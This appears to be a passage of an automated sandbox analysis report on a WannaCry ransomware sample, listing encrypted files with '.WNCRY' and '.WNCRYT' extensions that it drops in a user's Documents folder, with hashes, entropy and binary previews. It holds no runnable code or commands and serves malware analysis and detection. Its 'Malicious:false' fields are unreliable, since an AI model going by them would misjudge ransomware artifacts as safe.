                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.854855875405906
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk79yR8nexb4tCulwLrLfDxhSxlsHgua5eyRLqbOqrQUnZkS3MMrNnMjigrCP:bkIR5ebA/TSxmHbasyhuFrQwX3trNsi7
                                                                                                                                                                              MD5:0CB9499293E3FADAB95E11648F0E8464
                                                                                                                                                                              SHA1:1B14A0124AB4BF3BF32474A814A3181A5F2431BA
                                                                                                                                                                              SHA-256:23186C0724CB32CE4572E63E0175EBFC87AE80C136028DC63AFC3C7431D8985A
                                                                                                                                                                              SHA-512:3F01925C36968D1A3705638DBD00C1F2693E8B877E5E1B0ADA1337FF2D1D23C89FA981A24AB261E870B150D27CCBCDAED1D06ABAE8EC9D243DC5C5EE35B82D2E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....3.-..F5.0...P.|.|L...,..:..-..d...q.X..0.>jv,Yd"nl...].##=...O...x.F....4..A{......+....rx..E?...t....w...'..D.......m..."...!..>-X...... .......\#.y.2..<e....Zz..._.g#.&........t....l:..M..`B.x.".+*(.(......7.,?..f=3....h..N.5.{;..<...`.g.m.i..............X.*..z.."....S.a........|W..(l+]ma:\..|...O..B7.9..V]..si......G.\UMq..W|.j.......!T.......Sd...Nqth..........M.4-.,1.O. @...HO..i..a.\..!..VJ..l....k.FM......g.......l...!\,S..D.1.9..+..o5V.B(@..0...i..I^.x?.........y... E...x?.......U.F|...0R.w.<......R..;?..?Z......g.h<ml..t....?4%.T.dM...U.:e..{.z..Gg..d.Xd..@.J*...A=B.FG..~%..z25Z.}..5~z.e.^_)M{cF....:.....X.-...rjff..D..J..S0.ub.K!......f.OV...c...s..O.{..8...%...".-.b...g..a..A.......jsDH.....o...s...I.V-b........\P.....U,..3.:e..SA....GD..x.K....*.E..0b.{4.a....../.....}^\.....W'..X,......M.@.2.J.%......?.5J..b...pW....(Z..v*.0h*..#)\.yk.... ..f.fr).=...x_.C..G)....v...6.~..y.l.......92+.:+l{I+..1.aF..ZAA3Z^G.......]

                                                                                                                                                                              C:\Users\user\Documents\EFOYFBOLXA\EOWRVPQCCS.mp3

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.817429120903796
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:MTUyldWg6r4TJXeI853n0JVlIpr7hmrmY99TzkYMgVOQn:Mwy+frgJudN0JjIphaL99DMaOQn
                                                                                                                                                                              MD5:A9C89B31846D09BB5D060965D7045DB5
                                                                                                                                                                              SHA1:14F6547A39F439F62090F6D50728FFD0799D3D25
                                                                                                                                                                              SHA-256:6D8FD68366E6E274E6F571780AE8C25A40CF05487D96E40BD5585DEA5003AB17
                                                                                                                                                                              SHA-512:AE642FC981FF75FA48B616EB671485FA397C732767705A0595BD1B14776AEB2C95C7A463ACFAB625B08CDBA012AABDD4BCE5CD158B2BBDF72CA619EBCF98976A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:..K....X.q>.#{.....d.s../...4.jL..nd-.>...).+72.d.l...v.V`.864..j.........: ..KZ4..r.l..L.:@V`..~..I>..y.D...)Y...+.......#.zO[...>U.l...P.Q.C#....(......T"R.iC:S.........&d'....x"...@u'.I..Y...6.'3c...SL....S#..J........`t....(....[........K....D.s.....XP.......f.oz..Ae[P..MWW~.G....v.S...q............2.s.||.fN.:3...p...o..1.G...6...^X..x.Rs.Q.J._I..9".Q.M.=....0...IR....0k.sXdw....]..|z...9|.......b..........@...K{.H..^./>..>G..q.....*...Vp..u.D.K.S.%.b.....Y.HJ;.kE................F.A:...".s....[..s%KmF.^.1.G..p.C....T0ns17Db^.... .2...M.\.Z.........c......3..l.;..N.;uI...P.>..u.e........7..;1.1.(:....;.Q...X.z...f...--..7z...k.V7<.]).w..6..........WJ;..yX......l..#..?.%......I..$a...^.a.....W....ze`....~.....*...Kv...6$!.... ..:......*.s1......j'...H@P/...CG..t...l.0`nK.:!R.D.j...m....f.d.f.P..l2^@ ..wW..AC..b.U..g@E..}..=..h.../..yV.W`a...p.8..uR|.t^.?......&.........bt...F..gw......k`..$E2.5#.+.\.p.}.......+6.^.v.CpL..Y.K.D...]

                                                                                                                                                                              C:\Users\user\Documents\EFOYFBOLXA\EOWRVPQCCS.mp3.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.860236531581636
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkx/YOj3bB3wcFzVCG9+0FP5/hMiZEx1cF/F4pb8tTFEzfBR9DqRYJc:bk5YeTzUmhmi+oFTTuzlvJc
                                                                                                                                                                              MD5:17E07093EC917E559A5939E5F1AADABF
                                                                                                                                                                              SHA1:766DC81FF9D80D433151F71ADEE6E780504AC665
                                                                                                                                                                              SHA-256:52C161CCC5A6913EBC580B34C5CF7230BAAA37B622D5E877631B4D4323735F1A
                                                                                                                                                                              SHA-512:BC035C6F4EDDF16ED3E3C4D571EC5BE1ECF7051322A4B8A828D09C2DF24F9F42EF002A60323E154EFAE0EFEEA1475093B5E68F742E76E546AAB0B205C7A91380
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......Ch....Hx..f.S%...}.9.x....z.......N..t.K....Cq.S.e]....2H.`..$L...1....>...b.:%.&.u-.v.....,.../.,.e.'Q...[r....-...F...(Q.|.o$....6^.........dH`.t......F..u.ga.B.*...k..o.......[.......D..8...-..G....<.8.-.T..E.Fbb.....?!.f....W?......v|k....{...............$.k.#.......G..I...X1.7.s.........0...}P~...'..>P.+.{h..`Dy.*......lM`. ....O`~>.^..k.|B5.....GN...u. ..9.L...E..jR...-.{..p#~4..BS...K.....X....1T...k..c.a.S-..._.V..~N..E.|3.k.........te...4.T...9..).g...9...$........V.....g.q......r.j....tW...l.1..{.3K.TW.d2R8.iD........O.....c..........#..........n.h...*.h.5.[$._6!.(....~.s..{....+......6.U.S.L..Y.*... .)..&.o...W.*.V..o..S2.....'....HU.......-..Xj..^S....#-i.%.l......l.T....8....{...g6....>.L.dv..&-R...{4....K..3.2FU.B......s..c...'...s..V.r..K<..D..l......9.m+.4....ieY...........`....."`6}..sN..aX...c\.NT.....6e.2..OJx.....l..g..^D0.M..X....d..."..3W9&.~.4_....f...M...h.mb.Sb0.(..`.../...-.Z....].F....O.XQ..3....oc.

                                                                                                                                                                              C:\Users\user\Documents\EFOYFBOLXA\EOWRVPQCCS.mp3.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.860236531581636
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkx/YOj3bB3wcFzVCG9+0FP5/hMiZEx1cF/F4pb8tTFEzfBR9DqRYJc:bk5YeTzUmhmi+oFTTuzlvJc
                                                                                                                                                                              MD5:17E07093EC917E559A5939E5F1AADABF
                                                                                                                                                                              SHA1:766DC81FF9D80D433151F71ADEE6E780504AC665
                                                                                                                                                                              SHA-256:52C161CCC5A6913EBC580B34C5CF7230BAAA37B622D5E877631B4D4323735F1A
                                                                                                                                                                              SHA-512:BC035C6F4EDDF16ED3E3C4D571EC5BE1ECF7051322A4B8A828D09C2DF24F9F42EF002A60323E154EFAE0EFEEA1475093B5E68F742E76E546AAB0B205C7A91380
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......Ch....Hx..f.S%...}.9.x....z.......N..t.K....Cq.S.e]....2H.`..$L...1....>...b.:%.&.u-.v.....,.../.,.e.'Q...[r....-...F...(Q.|.o$....6^.........dH`.t......F..u.ga.B.*...k..o.......[.......D..8...-..G....<.8.-.T..E.Fbb.....?!.f....W?......v|k....{...............$.k.#.......G..I...X1.7.s.........0...}P~...'..>P.+.{h..`Dy.*......lM`. ....O`~>.^..k.|B5.....GN...u. ..9.L...E..jR...-.{..p#~4..BS...K.....X....1T...k..c.a.S-..._.V..~N..E.|3.k.........te...4.T...9..).g...9...$........V.....g.q......r.j....tW...l.1..{.3K.TW.d2R8.iD........O.....c..........#..........n.h...*.h.5.[$._6!.(....~.s..{....+......6.U.S.L..Y.*... .)..&.o...W.*.V..o..S2.....'....HU.......-..Xj..^S....#-i.%.l......l.T....8....{...g6....>.L.dv..&-R...{4....K..3.2FU.B......s..c...'...s..V.r..K<..D..l......9.m+.4....ieY...........`....."`6}..sN..aX...c\.NT.....6e.2..OJx.....l..g..^D0.M..X....d..."..3W9&.~.4_....f...M...h.mb.Sb0.(..`.../...-.Z....].F....O.XQ..3....oc.

                                                                                                                                                                              C:\Users\user\Documents\EFOYFBOLXA\GRXZDKKVDB.xlsx

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.812619886187677
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:WDBnRmWkvTXzWT351voZ6Yg8tk/bCOe1LLUsbboEK9K:knsWaXz+3PoFteCJ1fUsHuK
                                                                                                                                                                              MD5:3E5CF7511A0428DED43878B79AC61721
                                                                                                                                                                              SHA1:DF69935C2E0245A102D3C8C3F5C77BBF0623CAEA
                                                                                                                                                                              SHA-256:B7F7675CCD6927A53862D130DCD91A7A5D287608A3D3D11DFFE74F3F9E91FD24
                                                                                                                                                                              SHA-512:4E3CDBD5818D7664D1D65109BD628EA310BDB9F535D1DBDD638D5DB4B9DA2B2B9429D5E86ED8A9957B9751C01DBA1483404A5EBB82B170DC8F62F265F83E67F7
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:.`.%.T.1f.Y.....j..5...p.a....."....;[.(._.V.4.s..OM...Bx.....W.0[l...8....P.\.\gr...<{..G~b..|Gy*9.z.....c..Ae..]tQl.S....../..[(.......J(...}>S....JV....z.8.<.o.@..iG..F......x.2..-.M..Z.v...>j.K.l...<...:..+..|..p.^...L....<.&.U&.F.B.E....A...Ih.v.J.%......0....$.....Lq.M..rOjN.]!..^.<......P+.yNd..I.O..2 V^.=..Gi.%.sx ...!(..~."..@...W.].(.cH/Y....2U.5.....'.n.=d....;l...#..(..M..I..`.V.h.Zh..p...TU(.G....~D+>M....Hy......=........u=.4L.j2.}..p......k....w..'...H.....eu...o{.y........0.....}..O-.s.#]H...:.oE5....p*..}.@.U@..p.....b&6..~d.......c.U..'r.$..#.@..t...*-p..?."U..b....^6j.....l..^......b.;..Gh...>...{.9..[.. .........._.t..%&....&....Y...`.tw..d...06....a.%..../.[.S..eJDm....M[..0)|.)...........?%../...."I*...`..K5.'0!..%zc1R........\.A..g:...[E...7`......X..e......c].\....5.../8.... ..7.[..K..Sf.-.a>!.....?..........._.#. .5.].|SXU....^...SQ.W>n....!e....8Jg..^.&.u.(U.x.r.......ea.i.Q.}k.H3...F..W.....e.........s......P..

                                                                                                                                                                              C:\Users\user\Documents\EFOYFBOLXA\GRXZDKKVDB.xlsx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8242123609376435
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkSaeOSyjnAYl2DxlB0kCdiwFKEf/OEWnXJ+diHgKS9AtAYKK08:bkSPOSyjnAYclB0vdlKEf/Sn5+diHgk1
                                                                                                                                                                              MD5:2C342C416412185A14F6F9F724BBCDCC
                                                                                                                                                                              SHA1:FD8A78FDD588CE6F4D850E274DA757BE78D13D37
                                                                                                                                                                              SHA-256:819514094E2E527CA1F1170CFF0C90D4DCA3A0891D3DD9B32138B8034B5991A7
                                                                                                                                                                              SHA-512:32A2C04F1E37831178A48AE9BEA0D6EB5672628D5F48A159869CAB21C9FE1F6D8BDAD784151A7514EB3C729FB5475FAB18DDC50A553588C6D4388A7EC606A6D0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....~..F....<....'..?..?Q...f....E....\...54o.E.w\.\...(..Qp.f.......os=. ....^<..@O..}..bg..R.E\.x)._:A..l.?..`...>2.....+..Y..G.A.z..M.~t..t<~)..O.D7(.L)^.F!K.U.....HEE..3...'-.^d+.....S-..7..~.I.......F.O.`A..}. .T..{N.].}^....v....p.,Y...$.................'..Ie......M.Zk.......1?..u.D.....b.=.SdG)(...w...V..'N..t..^....G!...=!....i..0`....*.:...m..//...o|L.?..=....l..=.\....*.........Q.ke..<....AZR...x>..I...lL<P.T...-T#S..V..Vg....R+mS..*...<.. ...-...1Ql.J^.H.vS........`2.......8..).....U.....W..........|.$.^..+X......E.L.6....?\..u..W/.(h...zCL..2j..=..)...`.'..J.A.p.t......Tu5..@...7G.`o.)6.@iy.....h...oz....s*.2W...b..j.6.*.(.s6...d....,7Fi.UT..3...3....u.oD....F...=eX2{7.pFn0B..?.T.ma..N.N......`..s..5f]g9A0.R*..%!...L.....%:f.HE..m..@.......E..$.I7U3...g9...|..k|F..5xS'%J.DiK..7=..e.......4S...N...N...sr.a{..e(...8...p47.[+l..P.yL..9E..6f....:..._V...t......%.N*.jr^...J#.itr....1..x>...NQ...L,..6.;1{.U..TU..l..'!Fek

                                                                                                                                                                              C:\Users\user\Documents\EFOYFBOLXA\GRXZDKKVDB.xlsx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8242123609376435
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkSaeOSyjnAYl2DxlB0kCdiwFKEf/OEWnXJ+diHgKS9AtAYKK08:bkSPOSyjnAYclB0vdlKEf/Sn5+diHgk1
                                                                                                                                                                              MD5:2C342C416412185A14F6F9F724BBCDCC
                                                                                                                                                                              SHA1:FD8A78FDD588CE6F4D850E274DA757BE78D13D37
                                                                                                                                                                              SHA-256:819514094E2E527CA1F1170CFF0C90D4DCA3A0891D3DD9B32138B8034B5991A7
                                                                                                                                                                              SHA-512:32A2C04F1E37831178A48AE9BEA0D6EB5672628D5F48A159869CAB21C9FE1F6D8BDAD784151A7514EB3C729FB5475FAB18DDC50A553588C6D4388A7EC606A6D0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....~..F....<....'..?..?Q...f....E....\...54o.E.w\.\...(..Qp.f.......os=. ....^<..@O..}..bg..R.E\.x)._:A..l.?..`...>2.....+..Y..G.A.z..M.~t..t<~)..O.D7(.L)^.F!K.U.....HEE..3...'-.^d+.....S-..7..~.I.......F.O.`A..}. .T..{N.].}^....v....p.,Y...$.................'..Ie......M.Zk.......1?..u.D.....b.=.SdG)(...w...V..'N..t..^....G!...=!....i..0`....*.:...m..//...o|L.?..=....l..=.\....*.........Q.ke..<....AZR...x>..I...lL<P.T...-T#S..V..Vg....R+mS..*...<.. ...-...1Ql.J^.H.vS........`2.......8..).....U.....W..........|.$.^..+X......E.L.6....?\..u..W/.(h...zCL..2j..=..)...`.'..J.A.p.t......Tu5..@...7G.`o.)6.@iy.....h...oz....s*.2W...b..j.6.*.(.s6...d....,7Fi.UT..3...3....u.oD....F...=eX2{7.pFn0B..?.T.ma..N.N......`..s..5f]g9A0.R*..%!...L.....%:f.HE..m..@.......E..$.I7U3...g9...|..k|F..5xS'%J.DiK..7=..e.......4S...N...N...sr.a{..e(...8...p47.[+l..P.yL..9E..6f....:..._V...t......%.N*.jr^...J#.itr....1..x>...NQ...L,..6.;1{.U..TU..l..'!Fek

                                                                                                                                                                              C:\Users\user\Documents\EFOYFBOLXA\PALRGUCVEH.jpg

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.819840906086778
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:GFa+5eo73VvG+Jlesz0DPHraqQSDsRIxeChYNNwCSbKg:G1eyVvpDesz0DPHniIRYNBSbN
                                                                                                                                                                              MD5:1217A0E7FAC8951ED4572F3F75935BF5
                                                                                                                                                                              SHA1:98F3B53724E146FBCBBC31ED45781587BB0FE2F5
                                                                                                                                                                              SHA-256:F4157BB845E4DCE67BE00C6656DCF31D337961973D014CC1664DA87F9C4C6DE4
                                                                                                                                                                              SHA-512:5B7BD4603CF228A8817E2B0FE1C6D631CA9A9A308B33A0EA58EA41851B18EFD4976A1A94307FA8404FF52F40B90BEC8419E0D4CBF48512F8AB7E0F4F05CA777B
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:.....[...D....."kR[...UYo..#s;.}..V.,.`..A..W.8<.I..z..4&w.@...G.Z...0...%.VJ0...m.aP..u..vg..z..b.....2..`s....-..r.U..7W...Sd%..V..@^41..E@[...I.NF..x|.4}..E.Q....^.2}y+B.$ ..]1..(x.3.XT....0.......eu.....,.D..;.[......hp.5....3.B.5....D3..].3..'.u.Ox.Z.....K.gx0`..0HxI... h...18.Z.!I.....!........}./.g!w>.;.?...s.ws..KyjAo`....m..<..+.nq~7...bN...4...N........pDg.t.l......I....N.&.Tv+|O..B.g.P...6.....'.J"..Uk.\.U.8.......T...L...&...0....CP.<?.R.f8.3.l.cJ]..fX..V..Y.v(jS......R.Sr.4[.d...REN...C........>.....gp\...R..wo...../..T.......>7.".....BV...X...hN..Q...}K2.w4.7W=Y,.<...v.m.E*c...h7..._..Ck.W.W......d..BE8FH..R&.....W.N5De3....N....3..==oe:G.Gt......I)..7.Y...1I..........0..P.`.;.?-aCa......e9?..[Z.y.uX9.^...O......Y.!.. ....?.J.h.~..J4Y..]%F.~...^K..Q......6.......q}gj.&..".fQ..M._..2...|.!M...R;...RC.V.g.i.:.:.x+._}[.0.J..^...%.K...e...G....).LMh.-K...j.l...x....m.y.i..>...."....I&.U.......R%e..@....c.jQ3#..;......auX_m'....w.

                                                                                                                                                                              C:\Users\user\Documents\EFOYFBOLXA\PALRGUCVEH.jpg.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.853011179026343
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkmqCXYq/mF7Jb5jmAA327G4FbPYUn0wlr7y94BsVO4f40tL:bk8/mdJLP7vPYUn0wli2SrtL
                                                                                                                                                                              MD5:30D4B2CE34EF2B8C9A927B159B9FFC88
                                                                                                                                                                              SHA1:7C30F75C62143578A553E8CB8ADB591DE43A353D
                                                                                                                                                                              SHA-256:8216AC350B184329316EA6470CD7F5F2CADCE2F1F4ED4866450F8FA1F9407171
                                                                                                                                                                              SHA-512:05DE42DDD139C47461CED1CCF27BA7C7B05C221CDDB8AD47F9943CCD2FB02920114C25EC061721881A5D1F900A3B9A4C69519C91BE6BA544B732B6E5C29CAC10
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......m..Ib..[\...^.U.&..a...qC#.-.(...2F.....]\..t..B#xr..o.q!..l..R".g.N..O<..Z..Zq.4.lm..QC)...V b.s....8.^k..4@-.v.qzj..A......ER....Y[tT...#..yEO=.M..5..}0.1....l..k0..,53.$.. ...........mc...o/.A..S.2...>j..T...-..)7Z@.Gr..."........1..............,.\...A....N.....D.jo......."B.jnQs@m...+i.[..,..{.B..l.I..5.*.S..|x..R.B6..B....G|.|...z|.l.n..1R....v.:F..p*.:..,.t/.d.!g.. N(...j08k....`.[y3.N...[....F...in.L..U~sm4..n..f@y.S.;3.mC...Y..(...DI......CQ`...\9>.k....2.......J.i.....jO.i.%...O|.6q...0..]TK.OwU.R...7'W...R....x.}..z...GY$f...[.......!H._JZ...P.V.A)..VF?u..w.r*.....e1.....u8X..M(.].@_i.|..E.....O..<..X...=A.b....%.....y..o........o..L?...=.u..C}.)..K8..z..w......h......r.....(.^...Gx>..D..}..nX/..y...f.k...g8..Ii.&...j...G...f)c.<.....f.?D.A.vzW..R.pw.)....]..C.P.p.....7.....;g.b.nl..zM..kAwu.CA..^..h.,r.Mi.aG...=..p....O...hA-cE.5z..2....F..j..E...2#F.s1.Y.y.K.~.....G....$../.........{..~ ....._*.+.A.!..

                                                                                                                                                                              C:\Users\user\Documents\EFOYFBOLXA\PALRGUCVEH.jpg.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.853011179026343
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkmqCXYq/mF7Jb5jmAA327G4FbPYUn0wlr7y94BsVO4f40tL:bk8/mdJLP7vPYUn0wli2SrtL
                                                                                                                                                                              MD5:30D4B2CE34EF2B8C9A927B159B9FFC88
                                                                                                                                                                              SHA1:7C30F75C62143578A553E8CB8ADB591DE43A353D
                                                                                                                                                                              SHA-256:8216AC350B184329316EA6470CD7F5F2CADCE2F1F4ED4866450F8FA1F9407171
                                                                                                                                                                              SHA-512:05DE42DDD139C47461CED1CCF27BA7C7B05C221CDDB8AD47F9943CCD2FB02920114C25EC061721881A5D1F900A3B9A4C69519C91BE6BA544B732B6E5C29CAC10
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......m..Ib..[\...^.U.&..a...qC#.-.(...2F.....]\..t..B#xr..o.q!..l..R".g.N..O<..Z..Zq.4.lm..QC)...V b.s....8.^k..4@-.v.qzj..A......ER....Y[tT...#..yEO=.M..5..}0.1....l..k0..,53.$.. ...........mc...o/.A..S.2...>j..T...-..)7Z@.Gr..."........1..............,.\...A....N.....D.jo......."B.jnQs@m...+i.[..,..{.B..l.I..5.*.S..|x..R.B6..B....G|.|...z|.l.n..1R....v.:F..p*.:..,.t/.d.!g.. N(...j08k....`.[y3.N...[....F...in.L..U~sm4..n..f@y.S.;3.mC...Y..(...DI......CQ`...\9>.k....2.......J.i.....jO.i.%...O|.6q...0..]TK.OwU.R...7'W...R....x.}..z...GY$f...[.......!H._JZ...P.V.A)..VF?u..w.r*.....e1.....u8X..M(.].@_i.|..E.....O..<..X...=A.b....%.....y..o........o..L?...=.u..C}.)..K8..z..w......h......r.....(.^...Gx>..D..}..nX/..y...f.k...g8..Ii.&...j...G...f)c.<.....f.?D.A.vzW..R.pw.)....]..C.P.p.....7.....;g.b.nl..zM..kAwu.CA..^..h.,r.Mi.aG...=..p....O...hA-cE.5z..2....F..j..E...2#F.s1.Y.y.K.~.....G....$../.........{..~ ....._*.+.A.!..

                                                                                                                                                                              C:\Users\user\Documents\EIVQSAOTAQ.jpg

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.794083335653915
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:gMJExTMQjBgPQklpwLxewTMqbi0S2hGlDOSfcpgWTICGZcM4:s7KQbdMqbiN2UHfcpIlcn
                                                                                                                                                                              MD5:4E0E0F76064A5BE996736ABEC4A06BFC
                                                                                                                                                                              SHA1:5E29046F76C5EEB365B4D7B931BC342D1CEA327F
                                                                                                                                                                              SHA-256:3E5187BA519709D72BB7838D9BD1721110B5D09EA1C82670A3758C5E22800595
                                                                                                                                                                              SHA-512:006B7D81EDC2CED6CE5D54782B0558880777030295AB9FA656F7769940F47944EF2F2240001345EAF38479461E501335BCF6A6CDAD1A808D346BF26283CDF814
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:.D.h....M'$.4..O6.X..S.+9.^...NLx....g.>.......t...Bq)...8..q.x.0.^XF.~..2..P...2...('...L........P...!.....d.c@.W..xRn.....Q..%....%.&.t.....qXD......L.B...5 I.....>K...n'....bh).....K..V...X.....|;Y3.j..B....?.....b...O.E..#.~.../...(..^2..Y.....3=......5.@jFQ.<..%>$.....7.h).....-y/.=m. ....VcVq.y.E?..J.|.....9.jB%..^:.~V...,GT........v.M.j....;.&..~.&.,...P..dQm.A.].Y.."}..td..X..7.......D.9.f...W...../.Z....l.,..C...........c. .R._.......A..(7..mK....L..m......%{. .#N..an..>..e...w..X. .#..H..++".f.S.3..9...w..1^zZ. ."\...]...e6Or"..%..S."..R..NX...<i.@p..Q.Z.....r...IsAj.1x...vt.Et.n.r...g%...Ukz..xL........(q..-.t..0...(j...2.....;.+._.v..a.4q.....+...t...&6..~).\p".z`.N.....g^l..>`B~=f..$..:..Z.Rp......^.......h.1w......N)i...W....=.C.%a,0.lO.aL...aj......~.."N....T.Z..XS.m?...-...ga5.vA<....;c.....|..8c..=PY.l.\..[...cC.#D...[......X...yW$v.?..%..n.jy.BQf.....W./5-:.._.3.....s..W;'>.f;..b.Vj_...@...RX.b..d.'..w.....J.?U..l...

                                                                                                                                                                              C:\Users\user\Documents\EIVQSAOTAQ.jpg.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.864134188062805
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bklIg6lje9/Pnj/02Eu89iWpTSQv3iNffwfcoAZRhNvXK5kzzmm5kwZ:bkygI6njxEuyiWbSNfFRIknBywZ
                                                                                                                                                                              MD5:F757C3652309AF531E1A9DD91612E94A
                                                                                                                                                                              SHA1:D972CBB5248FF0F0D6BDC48201EEC2F9B4A64A71
                                                                                                                                                                              SHA-256:EC5770D21552292C08030810A0BF513C4E4AB100199A7E9D6BA3F50C1B1024B4
                                                                                                                                                                              SHA-512:A53104A600AF5056919C69A5BC32790B96005C3C18A4A02BCA057FB80633514D48892123968455C9D09C846E069F213D021C2D762A36AB29125A4D626518A1E3
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....6..t{.R.....~.....gP...e....h..v_....i..-^|Gb...^v.*<:O.....d8'.u..T!o.z..&h:r{y..}h..?...[....F...".+D5:F.G....`!..rz..4..6.F,cX.Y.K....!..{n!...h...Bc....&..d%.]....`..IH/H.0.w.WlM...>D.$....2......G....~...I.qP>.....d...CMH.a.r......1..`W...b^..<.............A.1..V._4.._........'.l........Q...s.....a..7.. .o.7L..l.%7....*....`h...y&m.to._....Q...^q<Of......p...Z..1.i..../..O.N.....U......@F.|.....2...W../}.w.._.....z.RH.?&%.^..Z..%....SC..p...c7.....#..'.L.5U.... NJ..cV)@a. ...XcI..T.....=.H..3G{.4.k...9.......U.f..B.#.K....(a.?u.,.....%E.9.........-U{.U.....Os.....v.^8.D..W......).6UG.o......._<.W...k.h.xmC.k...l.>.u...%.R.......+L..)..5;.[...st.s.D..G.q.%....;s..d.P=.5..f.k...p/..!V....X.S...a./.._.g..fr.%>.e.&J"B.7r....=#.....+...2f..K..t...S=|@.xs..,.U.bR.-NY8'V..V.+..`..9.T}...d..!..4r.Jzc.E0"R!...B.r.`.f*..wb..,i.j..1.j4Vjl|MA....%/JH.....8z..w]....KQa....i.+.....wz.W...S,.@D.7...>.......P...1.....hM..a..R...R......i....

                                                                                                                                                                              C:\Users\user\Documents\EIVQSAOTAQ.jpg.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.864134188062805
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bklIg6lje9/Pnj/02Eu89iWpTSQv3iNffwfcoAZRhNvXK5kzzmm5kwZ:bkygI6njxEuyiWbSNfFRIknBywZ
                                                                                                                                                                              MD5:F757C3652309AF531E1A9DD91612E94A
